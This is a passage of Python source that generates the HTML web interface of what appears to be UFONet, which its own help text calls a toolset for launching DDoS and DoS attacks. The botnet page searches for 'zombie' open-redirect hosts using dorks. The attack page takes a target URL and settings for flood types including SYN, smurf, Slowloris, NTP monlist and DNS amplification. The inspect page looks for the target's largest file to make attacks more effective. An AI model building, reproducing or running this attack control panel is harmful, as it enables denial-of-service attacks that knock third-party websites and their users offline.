  1944. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1945. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1946. <center>
  1947. <table cellpadding="38" cellspacing="38">
  1948. <tr>
  1949. <td>
  1950. <div class="ringMenu">
  1951. <ul>
  1952. <li class="main"><a target="_blank" href="wormhole">Wormhole</a></li>
  1953. <li class="top"><a href="botnet">Botnet</a></li>
  1954. <li class="right"><a href="inspect">Inspect</a></li>
  1955. <li class="bottom"><a href="attack">Attack</a></li>
  1956. <li class="left"><a href="help">Help</a></li>
  1957. </ul>
  1958. </div>
  1959. </td>
  1960. <td>
  1961. <table border="1" bgcolor="black" cellpadding="24" cellspacing="25">
  1962. <tr>
  1963. <td>
  1964. <pre>Welcome to: <a href="https://ufonet.03c8.net/" target="_blank">UFONet</a> | <a href="https://ufonet.03c8.net/FAQ.html" target="_blank">FAQ</a> - <a href="/help" target="_parent">Help</a> |
  1965. ----------------------------------
  1966. """ + self.options.version + """
  1967. - Rel: """ + self.release_date + """ - Dep: """ + time.ctime(os.path.getctime('ufonet')) + """
  1968. | <a href='javascript:runCommandX("cmd_check_tool")'>Auto-update</a> | <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">Code</a> - <a href="https://github.com/epsylon/ufonet" target="_blank">Mirror</a> |
  1969. -----------------------------------
  1970. Mothership ID: <b>""" + str(self.mothership_id) + """</b>
  1971. - Your ranking is: <a href="/ranking" target="_blank"><b>""" + str(self.ranking) + """</a></b>
  1972. """+str(self.current_tasks)+"""</td>
  1973. <td>
  1974. <table>
  1975. <tr>
  1976. <td><img src='data:image/png;base64,"""+self.alien1_img+"""' onclick="News()"></td>
  1977. <td><img src='data:image/png;base64,"""+self.alien2_img+"""' onclick="Missions()"></td>
  1978. </tr>
  1979. <tr>
  1980. <td><img src='data:image/png;base64,"""+self.alien5_img+"""' onclick="Stats()"></td>
  1981. <td><img src='data:image/png;base64,"""+self.alien4_img+"""' onclick="Board()"></td>
  1982. </tr>
  1983. </table>
  1984. </td>
  1985. </tr>
  1986. </table>
  1987. </td>
  1988. </tr>
  1989. </table>
  1990. <div id="cmdOut"></div>
  1991. """ + self.pages["/footer"]
  1992. self.pages["/botnet"] = self.pages["/header"] + """<script language="javascript">
  1993. function Requests() {
  1994. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1995. }
  1996. function Maps() {
  1997. var win_map = window.open("cmd_view_army","_blank","fullscreen=yes, resizable=yes", false);
  1998. win_map.resizeTo(screen.width,screen.height);
  1999. }
  2000. function Start(){
  2001. dork=document.getElementById("dork").value
  2002. s_engine = document.getElementById('engines_list').options[document.getElementById('engines_list').selectedIndex].text;
  2003. if (document.getElementById("autosearch").checked){
  2004. document.getElementById("autosearch").value = "on";
  2005. } else {
  2006. document.getElementById("autosearch").value = "off";
  2007. }
  2008. autosearch = document.getElementById("autosearch").value
  2009. if (document.getElementById("dork_list").checked){
  2010. document.getElementById("dork_list").value = "on";
  2011. } else {
  2012. document.getElementById("dork_list").value = "off";
  2013. }
  2014. dork_list = document.getElementById("dork_list").value
  2015. if(dork == "" && dork_list == "off" && autosearch == "off") {
  2016. window.alert("You need to enter a source for dorking...");
  2017. return
  2018. }else{
  2019. if (document.getElementById("all_engines").checked){
  2020. document.getElementById("all_engines").value = "on";
  2021. exclude_engines=document.getElementById("exclude_engines").value
  2022. } else {
  2023. document.getElementById("all_engines").value = "off";
  2024. }
  2025. all_engines = document.getElementById("all_engines").value
  2026. params="autosearch="+escape(autosearch)+"&dork="+escape(dork)+"&dork_list="+escape(dork_list)+"&s_engine="+escape(s_engine)+"&all_engines="+escape(all_engines)+"&exclude_engines="+escape(exclude_engines)
  2027. runCommandX("cmd_search",params)
  2028. }
  2029. }
  2030. function showHide()
  2031. {
  2032. if(document.getElementById("dork_list").checked)
  2033. {
  2034. document.getElementById("dork_pattern").style.display = "none";
  2035. document.getElementById("autosearch_pattern").style.display = "none";
  2036. }
  2037. else {
  2038. document.getElementById("dork_pattern").style.display = "";
  2039. document.getElementById("autosearch_pattern").style.display = "";
  2040. }
  2041. }
  2042. function showHideEngines()
  2043. {
  2044. if(document.getElementById("all_engines").checked)
  2045. {
  2046. document.getElementById("s_engine").style.display = "none";
  2047. document.getElementById("sex_engine").style.display = "";
  2048. }
  2049. else {
  2050. document.getElementById("s_engine").style.display = "";
  2051. document.getElementById("sex_engine").style.display = "none";
  2052. }
  2053. }
  2054. function HideAll()
  2055. {
  2056. if(document.getElementById("autosearch").checked)
  2057. {
  2058. document.getElementById("s_engine").style.display = "none";
  2059. document.getElementById("dork_pattern").style.display = "none";
  2060. document.getElementById("list_pattern").style.display = "none";
  2061. document.getElementById("allengines_pattern").style.display = "none";
  2062. document.getElementById("all_engines").checked = false;
  2063. document.getElementById("dork_list").checked = false;
  2064. document.getElementById("dork").value = "";
  2065. }
  2066. else {
  2067. document.getElementById("s_engine").style.display = "";
  2068. document.getElementById("dork_pattern").style.display = "";
  2069. document.getElementById("list_pattern").style.display = "";
  2070. document.getElementById("allengines_pattern").style.display = "";
  2071. }
  2072. }
  2073. </script>
  2074. <script>function Blackholes() {
  2075. var win_requests = window.open("blackholes","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2076. }
  2077. </script>
  2078. </head>
  2079. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2080. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2081. <center>
  2082. <table cellpadding="38" cellspacing="38">
  2083. <tr>
  2084. <td>
  2085. <div class="ringMenu">
  2086. <ul>
  2087. <li class="main"><a href="botnet">Botnet</a></li>
  2088. <li class="top"><a href="help">Help</a></li>
  2089. <li class="right"><a href="inspect">Inspect</a></li>
  2090. <li class="bottom"><a href="attack">Attack</a></li>
  2091. <li class="left"><a href="gui">RETURN</a></li>
  2092. </ul>
  2093. </div>
  2094. </td>
  2095. <td>
  2096. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  2097. <tr><td>
  2098. <pre>
  2099. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | * View Botnet: <button title="Build a map and geo-deploy your botnet on it..." onclick="Maps()">Generate map!</button>
  2100. <form method='GET'><br/><hr><div id="autosearch_pattern" style="display:block;">
  2101. * Search automatically (may take time!) <input type="checkbox" id="autosearch" onchange="HideAll()"></div><div id="dork_pattern" style="display:block;">
  2102. * Search using a dork: <input type="text" name="dork" id="dork" size="20" placeholder="proxy.php?url="></div><div id="list_pattern" style="display:block;">
  2103. * Search using a list (from: botnet/dorks.txt): <input type="checkbox" id="dork_list" onchange="showHide()"></div><div id="s_engine" name="s_engine" style="display:block;">
  2104. * Search using this search engine: <select id="engines_list">
  2105. <option value="duck" selected>duck</option>
  2106. <option value="bing">bing</option>
  2107. <option value="yahoo">yahoo</option>
  2108. <!-- <option value="google">google (no TOR!)</option>-->
  2109. <!-- <option value="yandex">yandex</option>-->
  2110. </select></div><div id="allengines_pattern" style="display:block;">
  2111. * Search using all search engines: <input type="checkbox" name="all_engines" id="all_engines" onchange="showHideEngines()"></div><div id="sex_engine" name="sex_engine" style="display:none;">
  2112. * Exclude this search engines: <input type="text" name="exclude_engines" id="exclude_engines" size="10" placeholder="Yahoo,Bing"></div></form>
  2113. <button title="Start to search for zombies..." style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Start()>SEARCH!</button>
  2114. <br><hr>
  2115. * Test Botnet: <br><br><center><a href='javascript:runCommandX("cmd_test_offline")'>Offline</a> | <a href='javascript:runCommandX("cmd_test_all")'>ALL</a> | <a href='javascript:runCommandX("cmd_test_army")'>Zombies</a> | <a href='javascript:runCommandX("cmd_test_rpcs")'>XML-RPCs</a> | <a href='javascript:runCommandX("cmd_attack_me")'>Attack Me!</a></center></td>
  2116. <td>
  2117. <table cellpadding="5" cellspacing="2">
  2118. <tr>
  2119. <td><img src='data:image/png;base64,"""+self.alien3_img+"""' onclick="Blackholes()"></td>
  2120. </tr>
  2121. <tr>
  2122. <table><tr>
  2123. <td>Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></td>
  2124. </tr>
  2125. <tr><td><hr></td></tr>
  2126. <tr><td><table align="right"><tr><td>Zombies:</td><td><a href='javascript:runCommandX("cmd_list_zombies")'>"""+self.num_zombies+"""</a></td></tr></table></td></tr>
  2127. <tr><td><table align="right"><tr><td>Aliens:</td><td><a href='javascript:runCommandX("cmd_list_aliens")'>"""+self.num_aliens+"""</a></td></tr></table></td></tr>
  2128. <tr><td><table align="right"><tr><td>Droids:</td><td><a href='javascript:runCommandX("cmd_list_droids")'>"""+self.num_droids+"""</a></td></tr></table></td></tr>
  2129. <tr><td><table align="right"><tr><td>UCAVs:</td><td><a href='javascript:runCommandX("cmd_list_ucavs")'>"""+self.num_ucavs+"""</a></td></tr></table></td></tr>
  2130. <tr><td><table align="right"><tr><td>XML-RPCs:</td><td><a href='javascript:runCommandX("cmd_list_rpcs")'>"""+self.num_rpcs+"""</a></td></tr></table></td></tr>
  2131. </table>
  2132. </table>
  2133. </td>
  2134. </tr></table>
  2135. </td>
  2136. </tr></table>
  2137. <hr>
  2138. <div id="cmdOut"></div>
  2139. """ + self.pages["/footer"]
  2140. self.pages["/attack"] = self.pages["/header"] + """<script language="javascript">
  2141. function Requests() {
  2142. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2143. }
  2144. function Grid() {
  2145. var win_requests = window.open("grid","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2146. }
  2147. function Wargames() {
  2148. var win_requests = window.open("wargames","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2149. }
  2150. function ShowPanel() {
  2151. if (document.getElementById("extra_attack").checked){
  2152. document.getElementById("extra_panel").style.display = "block";
  2153. document.getElementById("loic").value = "";
  2154. document.getElementById("loris").value = "";
  2155. document.getElementById("ufosyn").value = "";
  2156. document.getElementById("spray").value = "";
  2157. document.getElementById("smurf").value = "";
  2158. document.getElementById("xmas").value = "";
  2159. document.getElementById("nuke").value = "";
  2160. document.getElementById("tachyon").value = "";
  2161. document.getElementById("monlist").value = "";
  2162. document.getElementById("dbstress").value = "";
  2163. } else {
  2164. document.getElementById("extra_panel").style.display = "none";
  2165. document.getElementById("loic").value = "";
  2166. document.getElementById("loris").value = "";
  2167. document.getElementById("ufosyn").value = "";
  2168. document.getElementById("spray").value = "";
  2169. document.getElementById("smurf").value = "";
  2170. document.getElementById("xmas").value = "";
  2171. document.getElementById("nuke").value = "";
  2172. document.getElementById("tachyon").value = "";
  2173. document.getElementById("monlist").value = "";
  2174. document.getElementById("dbstress").value = "";
  2175. }
  2176. }
  2177. function Maps() {
  2178. var win_map = window.open("/cmd_view_attack?target="+target,"_blank","fullscreen=yes, resizable=yes", false);
  2179. win_map.resizeTo(screen.width,screen.height);
  2180. }
  2181. function Start(){
  2182. document.getElementById("attack_button").text = "STOP!"
  2183. document.getElementById("attack_button").style = "color:red; height:40px; width:240px; font-weight:bold; background-color:yellow; border: 2px solid red;"
  2184. target=document.getElementById("target").value
  2185. String.prototype.startsWith = function(prefix){
  2186. return this.indexOf(prefix) === 0;
  2187. }
  2188. if(target.startsWith("http")){
  2189. path=document.getElementById("path").value
  2190. rounds=document.getElementById("rounds").value
  2191. dbstress=document.getElementById("dbstress").value
  2192. loic=document.getElementById("loic").value
  2193. loris=document.getElementById("loris").value
  2194. ufosyn=document.getElementById("ufosyn").value
  2195. spray=document.getElementById("spray").value
  2196. smurf=document.getElementById("smurf").value
  2197. xmas=document.getElementById("xmas").value
  2198. nuke=document.getElementById("nuke").value
  2199. tachyon=document.getElementById("tachyon").value
  2200. monlist=document.getElementById("monlist").value
  2201. if(ufosyn || spray || smurf || xmas || nuke || tachyon || monlist){ // root required!
  2202. window.alert("You need 'root' access!. Check shell and enter your password.");
  2203. }
  2204. params="path="+escape(path)+"&rounds="+escape(rounds)+"&target="+escape(target)+"&dbstress="+escape(dbstress)+"&loic="+escape(loic)+"&loris="+escape(loris)+"&ufosyn="+escape(ufosyn)+"&spray="+escape(spray)+"&smurf="+escape(smurf)+"&xmas="+escape(xmas)+"&nuke="+escape(nuke)+"&tachyon="+escape(tachyon)+"&monlist="+escape(monlist)
  2205. if (document.getElementById("visual_attack").checked){
  2206. document.getElementById("visual_attack").value = "on";
  2207. } else {
  2208. document.getElementById("visual_attack").value = "off";
  2209. }
  2210. if(document.getElementById("visual_attack").value=="on"){
  2211. Maps()
  2212. }
  2213. }else{
  2214. window.alert("You need to enter a valid url: http(s)://target.com");
  2215. return
  2216. }
  2217. runCommandX("cmd_attack",params)
  2218. }
  2219. </script>
  2220. </head>
  2221. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2222. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2223. <center>
  2224. <table cellpadding="38" cellspacing="38">
  2225. <tr>
  2226. <td>
  2227. <div class="ringMenu">
  2228. <ul>
  2229. <li class="main"><a href="attack">Attack</a></li>
  2230. <li class="top"><a href="help">Help</a></li>
  2231. <li class="right"><a href="botnet">Botnet</a></li>
  2232. <li class="bottom"><a href="inspect">Inspect</a></li>
  2233. <li class="left"><a href="gui">RETURN</a></li>
  2234. </ul>
  2235. </div>
  2236. </td>
  2237. <td>
  2238. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  2239. <tr><td>
  2240. <pre>
  2241. * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  2242. * Set place to attack: <input type="text" name="path" id="path" size="30" placeholder="/path/big.jpg">
  2243. * Number of rounds: <input type="text" name="rounds" id="rounds" size="5" value="1">
  2244. <hr>
  2245. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | <input type="checkbox" name="visual_attack" id="visual_attack"> Generate map! | <input type="checkbox" name="extra_attack" id="extra_attack" onclick='javascript:ShowPanel();'> Extra(s)
  2246. <hr><div id="extra_panel" style="display:none;">
  2247. <table bgcolor="black" cellpadding="4" cellspacing="5" border="1"><tr>
  2248. <td align="left">* <a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a>:</td><td align="right"> <input type="text" name="loic" id="loic" size="4" placeholder="100"></td>
  2249. <td align="left">* <a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a>:</td><td align="right"> <input type="text" name="loris" id="loris" size="4" placeholder="101"></td>
  2250. <td align="left">* <a href="https://en.wikipedia.org/wiki/SYN_flood" target="_blank">UFOSYN</a>:</td><td align="right"> <input type="text" name="ufosyn" id="ufosyn" size="4" placeholder="100"></td></tr><tr>
  2251. <td align="left">* <a href="https://en.wikipedia.org/wiki/DRDOS" target="_blank">SPRAY</a>:</td><td align="right"> <input type="text" name="spray" id="spray" size="4" placeholder="110"></td>
  2252. <td align="left">* <a href="https://en.wikipedia.org/wiki/Smurf_attack" target="_blank">SMURF</a>:</td><td align="right"> <input type="text" name="smurf" id="smurf" size="4" placeholder="100"></td>
  2253. <td align="left">* <a href="https://en.wikipedia.org/wiki/Christmas_tree_packet" target="_blank">XMAS</a>:</td><td align="right"> <input type="text" name="xmas" id="xmas" size="4" placeholder="111"></td></tr><tr>
  2254. <td align="left">* <a href="https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf" target="_blank">NUKE</a>:</td><td align="right"> <input type="text" name="nuke" id="nuke" size="4" placeholder="10000"></td>
  2255. <td align="left">* <a href="https://www.us-cert.gov/ncas/alerts/TA13-088A" target="_blank">TACHYON</a>:</td><td align="right"> <input type="text" name="tachyon" id="tachyon" size="4" placeholder="1000"></td>
  2256. <td align="left">* <a href="https://www.us-cert.gov/ncas/alerts/TA14-013A" target="_blank">MONLIST</a>:</td><td align="right"> <input type="text" name="monlist" id="monlist" size="4" placeholder="1001"></td></tr>
  2257. </table>
  2258. <hr>
  2259. * Set db stress parameter: <input type="text" name="dbstress" id="dbstress" size="22" placeholder="search.php?q=">
  2260. <hr></div>
  2261. <button title="Start to attack your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" id="attack_button">ATTACK!</button> | Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></pre>
  2262. </td><td>
  2263. <table><tr><td><img src='data:image/png;base64,"""+self.alien6_img+"""' onclick="Grid()"></td></tr><tr><td><img src='data:image/png;base64,"""+self.alien8_img+"""' onclick="Wargames()"></td></tr></table>
  2264. </td></tr></table>
  2265. </td></tr></table>
  2266. <hr>
  2267. <div id="cmdOut"></div>
  2268. """ + self.pages["/footer"]
  2269. self.pages["/help"] = self.pages["/header"] + """<script language="javascript">
  2270. function show(one) {
  2271. var nb = document.getElementsByTagName("div");
  2272. for(var x=0; x<nb.length; x++) {
  2273. name = nb[x].getAttribute("class");
  2274. if (name == 'nb') {
  2275. if (nb[x].id == one) {
  2276. nb[x].style.display = 'block';
  2277. }
  2278. else {
  2279. nb[x].style.display = 'none';
  2280. }
  2281. }
  2282. }
  2283. }
  2284. </script>
  2285. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  2286. </head>
  2287. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2288. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2289. <center>
  2290. <table cellpadding="38" cellspacing="38">
  2291. <tr>
  2292. <td>
  2293. <div class="ringMenu">
  2294. <ul>
  2295. <li class="main"><a href="help">Help</a></li>
  2296. <li class="top"><a href="botnet">Botnet</a></li>
  2297. <li class="right"><a href="inspect">Inspect</a></li>
  2298. <li class="bottom"><a href="attack">Attack</a></li>
  2299. <li class="left"><a href="gui">RETURN</a></li>
  2300. </ul>
  2301. </div>
  2302. </td>
  2303. <td>
  2304. <table cellpadding="24" cellspacing="25" border="1">
  2305. <tr><td><pre>
  2306. <div><a id="mH1" href="javascript:show('nb1');" style="text-decoration: none;" >+ Project info</a></div>
  2307. <div class="nb" id="nb1" style="display: none;"> <b>UFONet</b> - is a set of tools designed to launch <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks
  2308. and that allows to combine both in a single offensive.
  2309. </div><div><a id="mH2" href="javascript:show('nb2');" style="text-decoration: none;" >+ How does it work?</a></div> <div class="nb" id="nb2" style="display: none;"> You can read more info on next links:
  2310. - <a href="https://cwe.mitre.org/data/definitions/601.html" target="_blank">CWE-601:Open Redirect</a>
  2311. - <a href="https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2" target="_blank">OWASP:URL Redirector Abuse</a>
  2312. - <a href="https://ufonet.03c8.net/ufonet/ufonet-schema.png" target="_blank">UFONet:Botnet Schema</a></div> <div><a id="mH3" href="javascript:show('nb3');" style="text-decoration: none;" >+ How to start?</a></div> <div class="nb" id="nb3" style="display: none;"> All you need to start an attack is:
  2313. - a list of '<a href="https://en.wikipedia.org/wiki/Zombie" target="_blank">zombies</a>'; to conduct their connections to your target
  2314. - a place; to efficiently hit your target</div> <div><a id="mH4" href="javascript:show('nb4');" style="text-decoration: none;" >+ Updating</a></div><div class="nb" id="nb4" style="display: none;">
  2315. This feature can be used <u>ONLY</u> if you have cloned UFONet.
  2316. - <i>git clone <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">https://code.03c8.net/epsylon/ufonet</a></i>
  2317. - <i>git clone <a href="https://github.com/epsylon/ufonet" target="_blank">https://github.com/epsylon/ufonet</a></i>
  2318. </div><div>
  2319. <a id="mH5" href="javascript:show('nb5');" style="text-decoration: none;" >+ FAQ/Issues?</a></div><div class="nb" id="nb5" style="display: none;">
  2320. If you have problems with UFONet, try to solve them following next links:
  2321. - <a href="https://ufonet.03c8.net/FAQ.html" target="_blank">Website FAQ</a> section
  2322. - UFONet <a href="https://github.com/epsylon/ufonet/issues" target="_blank">issues</a></div>
  2323. <div><a id="mH6" href="javascript:show('nb6');" style="text-decoration: none;" >+ How can help?</a></div> <div class="nb" id="nb6" style="display: none;"> - Testing; use the tool and search for possible bugs and new ideas
  2324. - Coding; you can try to develop more features
  2325. - Promoting; talk about UFONet on the internet, events, hacklabs, etc
  2326. - Donating; <a href="https://blockchain.info/address/19aXfJtoYJUoXEZtjNwsah2JKN9CK5Pcjw" target="_blank">bitcoin</a>, objects, support, love ;-)</div> <div><a id="mH7" href="javascript:show('nb7');" style="text-decoration: none" >+ Contact methods</a></div> <div class="nb" id="nb7" style="display: none;"> You can contact using:
  2327. - Email: <a href="mailto: epsylon@riseup.net">epsylon@riseup.net</a> [GPG:0xB8AC3776]
  2328. - <a target="_blank" href="wormhole">Wormhole</a>: irc.freenode.net / #ufonet
  2329. </div></td> </tr></table> </td></tr></table>
  2330. """ + self.pages["/footer"]
  2331. self.pages["/inspect"] = self.pages["/header"] + """<script language="javascript">
  2332. function Requests() {
  2333. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2334. }
  2335. function Abduction() {
  2336. var win_requests = window.open("abduction","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2337. }
  2338. function Start(){
  2339. target=document.getElementById("target").value
  2340. String.prototype.startsWith = function(prefix){
  2341. return this.indexOf(prefix) === 0;
  2342. }
  2343. if(target.startsWith("http")){
  2344. params="target="+escape(target)
  2345. }else{
  2346. window.alert("You need to enter a valid url: http(s)://target.com/page.html");
  2347. return
  2348. }
  2349. runCommandX("cmd_inspect",params)
  2350. }
  2351. </script>
  2352. </head>
  2353. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2354. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2355. <center>
  2356. <table cellpadding="38" cellspacing="38">
  2357. <tr>
  2358. <td>
  2359. <div class="ringMenu">
  2360. <ul>
  2361. <li class="main"><a href="inspect">Inspect</a></li>
  2362. <li class="top"><a href="help">Help</a></li>
  2363. <li class="right"><a href="botnet">Botnet</a></li>
  2364. <li class="bottom"><a href="attack">Attack</a></li>
  2365. <li class="left"><a href="gui">RETURN</a></li>
  2366. </ul>
  2367. </div>
  2368. </td>
  2369. <td>
  2370. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  2371. <tr>
  2372. <td>
  2373. <pre>
  2374. This feature will provide you the biggest file on target.
  2375. You can use this before to attack to be more effective.
  2376. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  2377. <hr>
  2378. * Set page to crawl: <input type="text" name="target" id="target" size="30" placeholder="http(s)://target.com/list_videos.php">
  2379. <hr>
  2380. <button title="Start to search for biggest file on your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">INSPECT!</button></pre>
  2381. </td><td><img src='data:image/png;base64,"""+self.alien7_img+"""' onclick="Abduction()"></td>
  2382. </tr></table>
  2383. </td>
  2384. </tr>
  2385. </table>
  2386. <hr>
  2387. <div id="cmdOut"></div>
  2388. """ + self.pages["/footer"]
  2389. self.pages["/ranking"] = self.pages["/header"] + """<script language="javascript">
  2390. function Grid() {
  2391. var win_requests = window.open("grid","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2392. }
  2393. function Stats() {
  2394. var win_requests = window.open("stats","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2395. }
  2396. function Sync_ranking(){
  2397. ranking_source=document.getElementById("ranking_source").value
  2398. if(ranking_source == "") {
  2399. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  2400. return
  2401. }else{
  2402. params="ranking_source="+escape(ranking_source)
  2403. runCommandX("cmd_refresh_ranking",params)
  2404. document.getElementById("nb1").style.display = "none";
  2405. document.getElementById("nb1").style.display = "block";
  2406. setTimeout("location.reload()", 10000)
  2407. }
  2408. }
  2409. </script></head>
  2410. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2411. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2412. <center>
  2413. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  2414. <td><a href="javascript:alert('Commander DPR says: I love new blood!! """ + self.ranking + """, in the Ranking section you can see information about how to raise your grade, meet the best UFOMasters, be close to those who are like you and try to find partners to dominate the multi-verse... Until then: Dont be evil!');"><img src='data:image/png;base64,"""+self.commander_img+"""'></a></td>
  2415. <td>GRADUATION/CLANS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit your own stats..." onclick="Stats()">VISIT STATS!</button></td>
  2416. </tr></table>
  2417. <table cellpadding="5" cellspacing="10">
  2418. <tr>
  2419. <td align="center">
  2420. Your ranking is: <b>""" + str(self.ranking) + """</b>
  2421. </td>
  2422. </tr>
  2423. <tr>
  2424. <td>
  2425. <table border="1" cellpadding="10" cellspacing="10">
  2426. <tr>
  2427. <td align="center"><b><u>GRADE:</u></b></td><td align="center"><b><u>RANKING:</u></b></td><td align="center"><b><u>REQUIRED:</u></b></td></tr>
  2428. <tr>
  2429. <td align="center"><font color='orange' size='4'>-</font></td><td align="center"><font color='orange'>Unknown</font></td><td align='center'><a style="text-decoration:none" href="javascript:alert('You havent a correct key set on your configuration to unmask this Motherships!');">KEY?</a></td></tr>
  2430. <tr>
  2431. <td align="center"><font color='white' size='4'>*</font></td><td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>missions<4</font></td></tr>
  2432. <tr>
  2433. <td align="center"><font color='cyan' size='4'>**</font></td><td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>missions>4</font></td></tr>
  2434. <tr>
  2435. <td align="center"><font color='blueviolet' size='4'>***</font></td><td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>crashed=1</font></td></tr>
  2436. <tr>
  2437. <td align="center"><font color='blue' size='4'>****</font></td><td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>crashed>1<4</font></td></tr>
  2438. <tr>
  2439. <td align="center"><font color='red' size='4'>&#x25BC;</font></td><td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'><a style="text-decoration:none" href="javascript:alert('Secret Achievement!');">???</a></font></td></tr>
  2440. </table>
  2441. </td>
  2442. </tr></table>
  2443. <br>
  2444. <table cellpadding="5" cellspacing="10">
  2445. <tr>
  2446. <td>Blackhole/IP:</td>
  2447. <td><input type="text" name="ranking_source" id="ranking_source" size="20" value='"""+default_blackhole+"""'></td>
  2448. <td><button title="Syncronize data from a blackhole with your device..." onclick="Sync_ranking()">DOWNLOAD!</button></td>
  2449. </tr></table>
  2450. <br>
  2451. <div id="nb2" style="display: none;">"""+str(self.extract_ranking_table())+"""</div>
  2452. Last update: <font color='"""+ self.ranking_status_color + """'>"""+ self.ranking_datetime + """</font><br><br>
  2453. <div id="cmdOut"></div>
  2454. <div id="nb1" style="display: block;">"""+self.ranking_text+"""</div>
  2455. <table bgcolor="black" cellpadding="5" cellspacing="10" border="0"><tr>
  2456. <td>
  2457. </td><td>
  2458. <table border="1" cellpadding="5" cellspacing="10">
  2459. <tr>
